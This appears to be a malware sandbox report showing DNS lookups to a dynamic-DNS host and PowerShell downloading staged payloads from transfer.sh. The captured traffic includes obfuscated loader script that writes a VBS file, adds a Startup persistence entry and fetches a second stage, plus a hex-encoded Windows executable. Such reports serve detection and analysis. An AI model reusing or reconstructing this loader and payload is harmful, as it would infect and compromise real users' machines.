                          Sep 14, 2021 21:27:28.776360989 CEST192.168.2.38.8.8.80xf1d9Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:33.333252907 CEST192.168.2.38.8.8.80x4fdeStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:39.990458965 CEST192.168.2.38.8.8.80x9c35Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:44.537935019 CEST192.168.2.38.8.8.80xc513Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:49.057259083 CEST192.168.2.38.8.8.80xff58Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:53.847992897 CEST192.168.2.38.8.8.80xf103Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:58.976510048 CEST192.168.2.38.8.8.80xad99Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:03.646920919 CEST192.168.2.38.8.8.80xfc51Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:08.102971077 CEST192.168.2.38.8.8.80xc208Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:12.653139114 CEST192.168.2.38.8.8.80x5bcaStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:17.105706930 CEST192.168.2.38.8.8.80x5115Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:24.252631903 CEST192.168.2.38.8.8.80xd36bStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:31.377320051 CEST192.168.2.38.8.8.80x2bb3Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:38.366832018 CEST192.168.2.38.8.8.80x7ff1Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)

                          DNS Answers

                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                          Sep 14, 2021 21:24:53.989196062 CEST8.8.8.8192.168.2.30x917No error (0)transfer.sh144.76.136.153A (IP address)IN (0x0001)
                          Sep 14, 2021 21:25:58.671535015 CEST8.8.8.8192.168.2.30x592eNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:03.427778006 CEST8.8.8.8192.168.2.30xdfb4No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:09.825735092 CEST8.8.8.8192.168.2.30x1e2aNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:14.355699062 CEST8.8.8.8192.168.2.30x2362No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:20.715367079 CEST8.8.8.8192.168.2.30xdf3eNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:28.632878065 CEST8.8.8.8192.168.2.30xf267No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:36.041050911 CEST8.8.8.8192.168.2.30x20ceNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:42.165178061 CEST8.8.8.8192.168.2.30xebf6No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:48.245083094 CEST8.8.8.8192.168.2.30x38d4No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:52.882893085 CEST8.8.8.8192.168.2.30x2aeNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:59.713449001 CEST8.8.8.8192.168.2.30x2147No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:04.273861885 CEST8.8.8.8192.168.2.30xb1f8No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:09.358345032 CEST8.8.8.8192.168.2.30xba8aNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:16.551768064 CEST8.8.8.8192.168.2.30x9665No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:21.104878902 CEST8.8.8.8192.168.2.30x366dNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:28.806245089 CEST8.8.8.8192.168.2.30xf1d9No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:33.458976030 CEST8.8.8.8192.168.2.30x4fdeNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:40.019915104 CEST8.8.8.8192.168.2.30x9c35No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:44.562189102 CEST8.8.8.8192.168.2.30xc513No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:49.183542013 CEST8.8.8.8192.168.2.30xff58No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:53.877830029 CEST8.8.8.8192.168.2.30xf103No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:59.101586103 CEST8.8.8.8192.168.2.30xad99No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:03.673754930 CEST8.8.8.8192.168.2.30xfc51No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:08.132808924 CEST8.8.8.8192.168.2.30xc208No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:12.682612896 CEST8.8.8.8192.168.2.30x5bcaNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:17.138993025 CEST8.8.8.8192.168.2.30x5115No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:24.378030062 CEST8.8.8.8192.168.2.30xd36bNo error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:31.401758909 CEST8.8.8.8192.168.2.30x2bb3No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)
                          Sep 14, 2021 21:28:38.491381884 CEST8.8.8.8192.168.2.30x7ff1No error (0)newjan.duckdns.org194.147.140.20A (IP address)IN (0x0001)

                          HTTP Request Dependency Graph

                          • transfer.sh

                          HTTPS Proxied Packets

                          Session IDSource IPSource PortDestination IPDestination PortProcess
                          0192.168.2.349742144.76.136.153443C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          TimestampkBytes transferredDirectionData
                          2021-09-14 19:24:54 UTC0OUTGET /KgBbue/cxderf.txt HTTP/1.1
                          Host: transfer.sh
                          Connection: Keep-Alive
                          2021-09-14 19:24:54 UTC0INHTTP/1.1 200 OK
                          Content-Disposition: attachment; filename="cxderf.txt"
                          Content-Length: 10839
                          Content-Type: text/plain; charset=utf-8
                          Retry-After: Tue, 14 Sep 2021 21:24:59 GMT
                          Server: Transfer.sh HTTP Server 1.0
                          X-Made-With: <3 by DutchCoders
                          X-Ratelimit-Key: 84.17.52.51
                          X-Ratelimit-Limit: 10
                          X-Ratelimit-Rate: 600
                          X-Ratelimit-Remaining: 9
                          X-Ratelimit-Reset: 1631647499
                          X-Remaining-Days: n/a
                          X-Remaining-Downloads: n/a
                          X-Served-By: Proudly served by DutchCoders
                          Date: Tue, 14 Sep 2021 19:24:54 GMT
                          Connection: close
                          2021-09-14 19:24:54 UTC0INData Raw: 24 61 61 20 3d 20 22 32 34 3a 2d 3a 34 36 3a 2d 3a 35 36 3a 2d 3a 35 39 3a 2d 3a 35 34 3a 2d 3a 34 36 3a 2d 3a 35 39 3a 2d 3a 35 34 3a 2d 3a 34 36 3a 2d 3a 35 39 3a 2d 3a 34 36 3a 2d 3a 35 39 3a 2d 3a 34 36 3a 2d 3a 35 39 3a 2d 3a 34 36 3a 2d 3a 35 39 3a 2d 3a 34 36 3a 2d 3a 34 37 3a 2d 3a 35 39 3a 2d 3a 33 64 3a 2d 3a 32 32 3a 2d 3a 34 33 3a 2d 3a 33 61 3a 2d 3a 35 63 3a 2d 3a 35 35 3a 2d 3a 37 33 3a 2d 3a 35 34 3a 2d 3a 35 32 3a 2d 3a 35 39 3a 2d 3a 34 33 3a 2d 3a 35 34 3a 2d 3a 35 35 3a 2d 3a 35 36 3a 2d 3a 35 39 3a 2d 3a 34 39 3a 2d 3a 34 32 3a 2d 3a 35 35 3a 2d 3a 34 33 3a 2d 3a 35 32 3a 2d 3a 35 39 3a 2d 3a 34 33 3a 2d 3a 35 34 3a 2d 3a 35 35 3a 2d 3a 35 36 3a 2d 3a 35 39 3a 2d 3a 34 39 3a 2d 3a 34 32 3a 2d 3a 35 34 3a 2d 3a 34 33 3a 2d 3a 35 32 3a
                          Data Ascii: $aa = "24:-:46:-:56:-:59:-:54:-:46:-:59:-:54:-:46:-:59:-:46:-:59:-:46:-:59:-:46:-:59:-:46:-:47:-:59:-:3d:-:22:-:43:-:3a:-:5c:-:55:-:73:-:54:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:55:-:43:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:54:-:43:-:52:
                          2021-09-14 19:24:54 UTC1INData Raw: 2d 3a 34 37 3a 2d 3a 35 39 3a 2d 3a 34 37 3a 2d 3a 35 35 3a 2d 3a 35 39 3a 2d 3a 34 37 3a 2d 3a 35 39 3a 2d 3a 35 35 3a 2d 3a 34 37 3a 2d 3a 32 30 3a 2d 3a 33 64 3a 2d 3a 32 30 3a 2d 3a 32 32 3a 2d 3a 34 33 3a 2d 3a 37 32 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 32 33 3a 2d 3a 36 66 3a 2d 3a 37 32 3a 2d 3a 37 39 3a 2d 3a 32 32 3a 2d 3a 32 65 3a 2d 3a 35 32 3a 2d 3a 36 35 3a 2d 3a 37 30 3a 2d 3a 36 63 3a 2d 3a 36 31 3a 2d 3a 36 33 3a 2d 3a 36 35 3a 2d 3a 32 38 3a 2d 3a 32 32 3a
                          Data Ascii: -:47:-:59:-:47:-:55:-:59:-:47:-:59:-:55:-:47:-:20:-:3d:-:20:-:22:-:43:-:72:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:6f:-:72:-:79:-:22:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:22:
                          2021-09-14 19:24:54 UTC3INData Raw: 34 32 3a 2d 3a 34 36 3a 2d 3a 35 39 3a 2d 3a 34 38 3a 2d 3a 34 37 3a 2d 3a 35 34 3a 2d 3a 34 36 3a 2d 3a 35 39 3a 2d 3a 34 38 3a 2d 3a 34 36 3a 2d 3a 34 38 3a 2d 3a 35 35 3a 2d 3a 35 39 3a 2d 3a 34 37 3a 2d 3a 35 39 3a 2d 3a 35 35 3a 2d 3a 33 38 3a 2d 3a 35 39 3a 2d 3a 35 35 3a 2d 3a 35 39 3a 2d 3a 35 39 3a 2d 3a 35 35 3a 2d 3a 35 39 3a 2d 3a 34 37 3a 2d 3a 32 30 3a 2d 3a 33 64 3a 2d 3a 32 32 3a 2d 3a 34 33 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 32 64 3a 2d 3a 36 32 3a 2d 3a 36 63 3a 2d 3a 36 39 3a 2d 3a 36 33 3a 2d 3a 35 63 3a 2d 3a 35 32 3a 2d 3a 37 35 3a 2d 3a 36 65 3a 2d 3a 32 32 3a 2d 3a 32 65 3a 2d 3a 35 32 3a 2d 3a
                          Data Ascii: 42:-:46:-:59:-:48:-:47:-:54:-:46:-:59:-:48:-:46:-:48:-:55:-:59:-:47:-:59:-:55:-:38:-:59:-:55:-:59:-:59:-:55:-:59:-:47:-:20:-:3d:-:22:-:43:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:62:-:6c:-:69:-:63:-:5c:-:52:-:75:-:6e:-:22:-:2e:-:52:-:
                          2021-09-14 19:24:54 UTC4INData Raw: 2d 3a 37 34 3a 2d 3a 36 38 3a 2d 3a 32 30 3a 2d 3a 32 34 3a 2d 3a 34 38 3a 2d 3a 34 39 3a 2d 3a 35 35 3a 2d 3a 34 38 3a 2d 3a 34 39 3a 2d 3a 35 35 3a 2d 3a 34 38 3a 2d 3a 34 61 3a 2d 3a 34 39 3a 2d 3a 35 35 3a 2d 3a 34 38 3a 2d 3a 35 35 3a 2d 3a 35 39 3a 2d 3a 35 35 3a 2d 3a 35 35 3a 2d 3a 34 39 3a 2d 3a 34 38 3a 2d 3a 35 39 3a 2d 3a 34 39 3a 2d 3a 35 35 3a 2d 3a 34 39 3a 2d 3a 35 35 3a 2d 3a 34 38 3a 2d 3a 34 39 3a 2d 3a 32 30 3a 2d 3a 32 64 3a 2d 3a 34 65 3a 2d 3a 36 31 3a 2d 3a 36 64 3a 2d 3a 36 35 3a 2d 3a 32 30 3a 2d 3a 32 32 3a 2d 3a 35 33 3a 2d 3a 37 34 3a 2d 3a 36 31 3a 2d 3a 37 32 3a 2d 3a 37 34 3a 2d 3a 37 35 3a 2d 3a 37 30 3a 2d 3a 32 32 3a 2d 3a 32 30 3a 2d 3a 32 64 3a 2d 3a 35 36 3a 2d 3a 36 31 3a 2d 3a 36 63 3a 2d 3a 37 35 3a 2d 3a 36 35 3a
                          Data Ascii: -:74:-:68:-:20:-:24:-:48:-:49:-:55:-:48:-:49:-:55:-:48:-:4a:-:49:-:55:-:48:-:55:-:59:-:55:-:55:-:49:-:48:-:59:-:49:-:55:-:49:-:55:-:48:-:49:-:20:-:2d:-:4e:-:61:-:6d:-:65:-:20:-:22:-:53:-:74:-:61:-:72:-:74:-:75:-:70:-:22:-:20:-:2d:-:56:-:61:-:6c:-:75:-:65:
                          2021-09-14 19:24:54 UTC8INData Raw: 65 74 20 48 20 3d 20 4e 6f 74 68 69 6e 67 0d 0a 27 40 0d 0a 53 65 74 2d 43 6f 6e 74 65 6e 74 20 2d 50 61 74 68 20 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 52 75 6e 5c 4e 65 77 2e 76 62 73 20 2d 56 61 6c 75 65 20 24 43 6f 6e 74 65 6e 74 0d 0a 0d 0a 73 74 61 72 74 2d 73 6c 65 65 70 20 2d 73 20 37 0d 0a 0d 0a 24 53 5a 58 44 43 46 56 47 42 48 4e 4a 53 44 46 47 48 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 72 61 6e 73 66 65 72 48 2d 48 73 68 2f 49 30 78 6e 79 72 2f 74 79 74 79 74 48 2d 48 74 78 74 27 2e 52 65 70 6c 61 63 65 28 27 48 2d 48 27 2c 27 2e 27 29 3b 0d 0a 24 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 20 3d 20 22 32 34 3a 2d 3a 34 35 3a 2d 3a 34 34 3a 2d 3a 35 32 3a 2d 3a 34 36 3a 2d 3a 34 37 3a 2d 3a 34 38 3a 2d 3a 34 65 3a 2d 3a 34 61
                          Data Ascii: et H = Nothing'@Set-Content -Path C:\Users\Public\Run\New.vbs -Value $Contentstart-sleep -s 7$SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/I0xnyr/tytytH-Htxt'.Replace('H-H','.');$HHHHHHHHHHHHHHHHHH = "24:-:45:-:44:-:52:-:46:-:47:-:48:-:4e:-:4a


                          Session IDSource IPSource PortDestination IPDestination PortProcess
                          1192.168.2.349774144.76.136.153443C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          TimestampkBytes transferredDirectionData
                          2021-09-14 19:25:31 UTC11OUTGET /I0xnyr/tytyt.txt HTTP/1.1
                          Host: transfer.sh
                          2021-09-14 19:25:31 UTC11INHTTP/1.1 200 OK
                          Content-Disposition: attachment; filename="tytyt.txt"
                          Content-Length: 512724
                          Content-Type: text/plain; charset=utf-8
                          Retry-After: Tue, 14 Sep 2021 21:25:35 GMT
                          Server: Transfer.sh HTTP Server 1.0
                          X-Made-With: <3 by DutchCoders
                          X-Ratelimit-Key: 84.17.52.51
                          X-Ratelimit-Limit: 10
                          X-Ratelimit-Rate: 600
                          X-Ratelimit-Remaining: 9
                          X-Ratelimit-Reset: 1631647535
                          X-Remaining-Days: n/a
                          X-Remaining-Downloads: n/a
                          X-Served-By: Proudly served by DutchCoders
                          Date: Tue, 14 Sep 2021 19:25:31 GMT
                          Connection: close
                          2021-09-14 19:25:31 UTC11INData Raw: 5b 53 74 72 69 6e 67 5d 24 48 48 3d 27 34 44 35 41 39 2d 2d 2d 2d 33 2d 2d 2d 2d 2d 2d 2d 34 2d 2d 2d 2d 2d 2d 46 46 46 46 2d 2d 2d 2d 42 38 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 2d 2d 2d 2d 2d 2d 2d 2d 45 31 46 42 41 2d 45 2d 2d 42 34 2d 39 43 44 32 31 42 38 2d 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 2d 37 2d 37 32 36 46 36 37 37 32 36 31 36 44 32 2d 36 33 36 31 36 45 36 45 36 46 37 34 32 2d 36 32 36 35 32 2d 37 32 37 35 36 45 32 2d 36 39 36 45 32 2d 34 34 34 46 35 33 32 2d 36 44 36 46 36 34 36 35 32 45 2d 44 2d 44 2d 41 32 34
                          Data Ascii: [String]$HH='4D5A9----3-------4------FFFF----B8--------------4-----------------------------------------------------------------------8--------E1FBA-E--B4-9CD21B8-14CCD21546869732-7-726F6772616D2-63616E6E6F742-62652-72756E2-696E2-444F532-6D6F64652E-D-D-A24
                          2021-09-14 19:25:31 UTC12INData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 2d 2d 2d 2d 2d 2d 38 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 32 2d 2d 2d 2d 2d 34 38 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 45 37 34 36 35 37 38 37 34 2d 2d 2d 2d 2d 2d 39 38 43 37 2d 31 2d 2d 2d 2d 32 2d 2d 2d 2d 2d 2d 2d 43 38 2d 31 2d 2d 2d 2d 2d 32 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 2d 2d 2d 2d 2d 36 2d 32 45 37 32 36 35 36 43 36 46 36 33 2d 2d 2d 2d 2d 43 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 2d 2d 2d 2d 2d 32 2d 2d 2d 2d 2d 2d 43 41 2d 31 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
                          Data Ascii: -----------------------------------------------------2------8-----------------------82-----48----------------------2E74657874------98C7-1----2-------C8-1-----2----------------------------2-----6-2E72656C6F63-----C-----------2-----2------CA-1--------------
                          2021-09-14 19:25:31 UTC14INData Raw: 32 31 45 31 45 32 44 31 32 32 36 2d 33 31 42 31 36 32 43 2d 46 32 36 32 38 35 32 2d 2d 2d 2d 2d 41 32 38 35 33 2d 2d 2d 2d 2d 41 32 41 32 36 32 42 45 43 32 36 32 42 45 46 2d 2d 2d 2d 2d 2d 31 33 33 2d 2d 33 2d 2d 2d 46 2d 2d 2d 2d 2d 2d 2d 43 2d 2d 2d 2d 31 31 2d 32 31 38 31 37 32 44 2d 37 32 36 32 38 35 34 2d 2d 2d 2d 2d 41 32 41 32 36 32 42 46 37 2d 2d 31 33 33 2d 2d 31 2d 2d 2d 42 2d 2d 2d 2d 2d 2d 2d 44 2d 2d 2d 2d 31 31 44 2d 2d 35 2d 2d 2d 2d 2d 32 32 38 34 36 2d 2d 2d 2d 2d 41 32 41 2d 2d 31 33 33 2d 2d 33 2d 2d 2d 46 2d 2d 2d 2d 2d 2d 2d 45 2d 2d 2d 2d 31 31 2d 32 31 42 31 39 32 44 2d 37 32 36 32 38 35 35 2d 2d 2d 2d 2d 41 32 41 32 36 32 42 46 37 2d 2d 2d 33 33 2d 2d 41 2d 2d 2d 46 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 31 41 31 37 32 44
                          Data Ascii: 21E1E2D1226-31B162C-F262852-----A2853-----A2A262BEC262BEF------133--3---F-------C----11-218172D-7262854-----A2A262BF7--133--1---B-------D----11D--5-----22846-----A2A--133--3---F-------E----11-21B192D-7262855-----A2A262BF7---33--A---F---------------21A172D
                          2021-09-14 19:25:31 UTC15INData Raw: 2d 2d 2d 2d 2d 2d 41 2d 2d 2d 2d 31 31 2d 32 31 43 31 42 32 44 2d 41 32 36 38 43 2d 38 2d 2d 2d 2d 31 42 32 44 2d 42 32 42 2d 33 32 36 32 42 46 34 32 38 2d 34 2d 2d 2d 2d 32 42 32 41 2d 32 31 36 31 35 32 44 2d 32 32 36 32 41 32 36 32 42 46 43 2d 2d 2d 2d 31 33 33 2d 2d 34 2d 2d 32 2d 2d 2d 2d 2d 2d 2d 2d 41 2d 2d 2d 2d 31 31 2d 33 31 44 31 44 32 44 31 35 32 36 31 32 2d 2d 46 45 31 35 2d 38 2d 2d 2d 2d 31 42 2d 36 31 41 31 36 32 43 2d 41 32 36 38 31 2d 38 2d 2d 2d 2d 31 42 32 41 32 36 32 42 45 39 32 36 32 42 46 34 31 33 33 2d 2d 31 2d 2d 35 35 2d 2d 2d 2d 2d 2d 2d 46 2d 2d 2d 2d 31 31 2d 46 2d 2d 37 42 38 33 2d 2d 2d 2d 2d 34 34 35 2d 34 2d 2d 2d 2d 2d 2d 2d 32 2d 2d 2d 2d 2d 2d 31 2d 2d 2d 2d 2d 2d 2d 31 45 2d 2d 2d 2d 2d 2d 32 43 2d 2d 2d 2d 2d 2d 32 42
                          Data Ascii: ------A----11-21C1B2D-A268C-8----1B2D-B2B-3262BF428-4----2B2A-216152D-2262A262BFC----133--4--2--------A----11-31D1D2D152612--FE15-8----1B-61A162C-A2681-8----1B2A262BE9262BF4133--1--55-------F----11-F--7B83-----445-4-------2------1-------1E------2C------2B
                          2021-09-14 19:25:31 UTC19INData Raw: 34 2d 33 31 37 31 35 32 44 2d 42 32 36 2d 34 36 46 36 42 2d 2d 2d 2d 2d 41 32 41 32 36 32 42 45 42 32 36 32 42 46 33 2d 2d 2d 2d 2d 2d 2d 33 33 2d 2d 41 2d 2d 33 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 31 43 31 45 32 44 2d 41 32 36 37 42 31 39 2d 2d 2d 2d 2d 34 32 44 2d 36 32 42 2d 33 32 36 32 42 46 34 32 41 2d 32 31 41 31 35 32 44 31 32 32 36 37 42 31 39 2d 2d 2d 2d 2d 34 2d 33 31 36 31 38 32 44 2d 41 32 36 36 46 36 43 2d 2d 2d 2d 2d 41 32 41 32 36 32 42 45 43 32 36 32 42 46 34 2d 33 33 2d 2d 41 2d 2d 33 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 31 37 31 45 32 44 2d 41 32 36 37 42 31 39 2d 2d 2d 2d 2d 34 32 44 2d 36 32 42 2d 33 32 36 32 42 46 34 32 41 2d 32 31 36 31 35 32 44 31 32 32 36 37 42 31 39 2d 2d 2d 2d 2d 34 2d 33 31 43 31 44
                          Data Ascii: 4-317152D-B26-46F6B-----A2A262BEB262BF3-------33--A--3----------------21C1E2D-A267B19-----42D-62B-3262BF42A-21A152D12267B19-----4-316182D-A266F6C-----A2A262BEC262BF4-33--A--3----------------2171E2D-A267B19-----42D-62B-3262BF42A-216152D12267B19-----4-31C1D
                          2021-09-14 19:25:31 UTC25INData Raw: 2d 2d 2d 2d 41 38 2d 33 32 2d 2d 2d 2d 2d 34 32 38 41 36 2d 2d 2d 2d 2d 41 32 38 41 37 2d 2d 2d 2d 2d 41 32 38 36 42 2d 2d 2d 2d 2d 36 32 44 31 43 32 42 31 35 38 2d 34 41 2d 2d 2d 2d 2d 34 32 42 43 41 38 2d 32 41 2d 2d 2d 2d 2d 34 32 42 43 43 38 2d 32 43 2d 2d 2d 2d 2d 34 32 42 43 45 32 38 36 46 2d 2d 2d 2d 2d 36 32 38 37 32 2d 2d 2d 2d 2d 36 32 38 37 33 2d 2d 2d 2d 2d 36 32 38 37 34 2d 2d 2d 2d 2d 36 32 38 36 2d 2d 2d 2d 2d 2d 36 32 38 36 39 2d 2d 2d 2d 2d 36 32 38 36 41 2d 2d 2d 2d 2d 36 32 38 36 31 2d 2d 2d 2d 2d 36 32 38 37 37 2d 2d 2d 2d 2d 36 32 38 37 41 2d 2d 2d 2d 2d 36 32 38 37 35 2d 2d 2d 2d 2d 36 32 38 37 36 2d 2d 2d 2d 2d 36 32 38 37 38 2d 2d 2d 2d 2d 36 32 38 37 39 2d 2d 2d 2d 2d 36 32 38 37 42 2d 2d 2d 2d 2d 36 32 38 37 43 2d 2d 2d 2d 2d 36
                          Data Ascii: ----A8-32-----428A6-----A28A7-----A286B-----62D1C2B158-4A-----42BCA8-2A-----42BCC8-2C-----42BCE286F-----62872-----62873-----62874-----6286------62869-----6286A-----62861-----62877-----6287A-----62875-----62876-----62878-----62879-----6287B-----6287C-----6
                          2021-09-14 19:25:31 UTC26INData Raw: 2d 2d 2d 2d 36 32 42 2d 33 2d 41 32 42 44 34 31 32 2d 31 32 38 39 38 2d 2d 2d 2d 2d 41 32 44 43 2d 44 45 2d 45 31 32 2d 31 46 45 31 36 31 32 2d 2d 2d 2d 31 42 36 46 36 33 2d 2d 2d 2d 2d 41 44 43 32 41 2d 41 2d 31 31 2d 2d 2d 2d 2d 2d 32 2d 2d 2d 46 2d 2d 35 35 36 34 2d 2d 2d 45 2d 2d 2d 2d 2d 2d 2d 2d 31 42 33 2d 2d 33 2d 2d 32 41 2d 31 2d 2d 2d 2d 32 38 2d 2d 2d 2d 31 31 37 45 37 44 2d 2d 2d 2d 2d 34 32 2d 36 32 32 2d 44 2d 31 45 32 38 46 46 2d 2d 2d 2d 2d 36 32 38 41 38 2d 2d 2d 2d 2d 41 31 44 32 44 2d 42 32 36 2d 36 32 38 41 45 2d 2d 2d 2d 2d 41 32 44 2d 36 32 42 2d 33 2d 41 32 42 46 33 32 41 2d 36 32 38 41 46 2d 2d 2d 2d 2d 41 31 37 32 44 31 33 32 36 2d 37 32 38 32 42 2d 31 2d 2d 2d 36 31 38 32 44 2d 43 32 36 2d 38 31 33 2d 39 31 36 31 33 2d 38 32 42
                          Data Ascii: ----62B-3-A2BD412-12898-----A2DC-DE-E12-1FE1612----1B6F63-----ADC2A-A-11------2---F--5564---E--------1B3--3--2A-1----28----117E7D-----42-622-D-1E28FF-----628A8-----A1D2D-B26-628AE-----A2D-62B-3-A2BF32A-628AF-----A172D1326-7282B-1---6182D-C26-813-91613-82B
